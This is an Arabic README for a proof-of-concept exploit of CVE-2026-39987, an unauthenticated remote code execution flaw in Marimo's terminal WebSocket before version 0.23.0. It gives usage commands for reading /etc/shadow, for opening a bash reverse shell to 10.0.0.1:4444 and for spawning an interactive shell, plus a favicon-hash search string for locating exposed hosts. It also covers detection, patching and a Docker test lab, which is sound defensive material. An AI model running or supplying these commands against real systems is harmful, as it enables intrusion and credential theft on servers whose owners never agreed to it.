
PoC لـ CVE-2026-39987: RCE قبل المصادقة عبر WebSocket في Marimo الأقل من 0.23.0 (CVSS 9.3).
هذا السكربت مخصص للأغراض التعليمية والاختبارات المصرح بها فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة دون إذن صريح هو أمر غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات.
إصدارات Marimo الأقدم من 0.23.0 تحتوي على ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) دون الحاجة إلى مصادقة مسبقة. نقطة النهاية /terminal/ws لا تطبق ضوابط وصول مناسبة، مما يسمح لمهاجم غير مصادق بالحصول على شل تفاعلي كامل على النظام.
| التفاصيل | المعلومات |
|---|---|
| CVE | CVE-2026-39987 |
| الخطورة | حرجة |
| درجة CVSS | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| النوع | تنفيذ أوامر عن بُعد بدون مصادقة (Pre-Auth RCE) |
| الناقل | WebSocket (/terminal/ws) |
| المنتج المتأثر | Marimo < 0.23.0 |
| التصحيح | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
الاستخدام الأساسي
bash
python CVE-2026-39987_PoC.py http://victima.com:8080 "id"
أمثلة
bash
# الحصول على معلومات النظام
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# قراءة ملفات حساسة
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# شل عكسية
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# شل تفاعلية
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ الكشف (آمن)
سكربت الكشف السلبي
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
قالب Nuclei
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (القالب الكامل مرفق)
🔧 المعالجة
فورية
افصل النظام عن الشبكة إذا كان مكشوفًا
منع الوصول إلى المنفذ الذي يعمل عليه Marimo
مراجعة السجلات بحثًا عن أي نشاط مشبوه
دائمة
bash
# التحديث إلى الإصدار المُصحح
pip install --upgrade marimo>=0.23.0
# التحقق من الإصدار
marimo --version
# إعداد المصادقة إذا كان النظام مكشوفًا للعامة
# لا تعرض 'marimo edit' مباشرة للإنترنت أبدًا
Docker (بيئة قابلة للاستغلال)
bash
# تشغيل إصدار ضعيف للاختبار
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# التحقق من الثغرة
python CVE-2026-39987_detector.py http://localhost:8080
# الاستغلال
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
NVD Entry
Pull Request #9098
Marimo Documentation
👥 الاعتمادات
الاكتشاف: [اسم الباحث]
تطوير إثبات الاستغلال: [اسمك]
التصحيح: فريق Marimo
📜 الترخيص
هذا المشروع مخصص للأغراض التعليمية فقط. استخدام هذا البرنامج على مسؤوليتك الخاصة.
⭐ إذا كان هذا README مفيدًا لك، ففكر في منح المستودع نجمة.
⚠️ تذكر: القوة العظيمة تأتي مع مسؤولية عظيمة.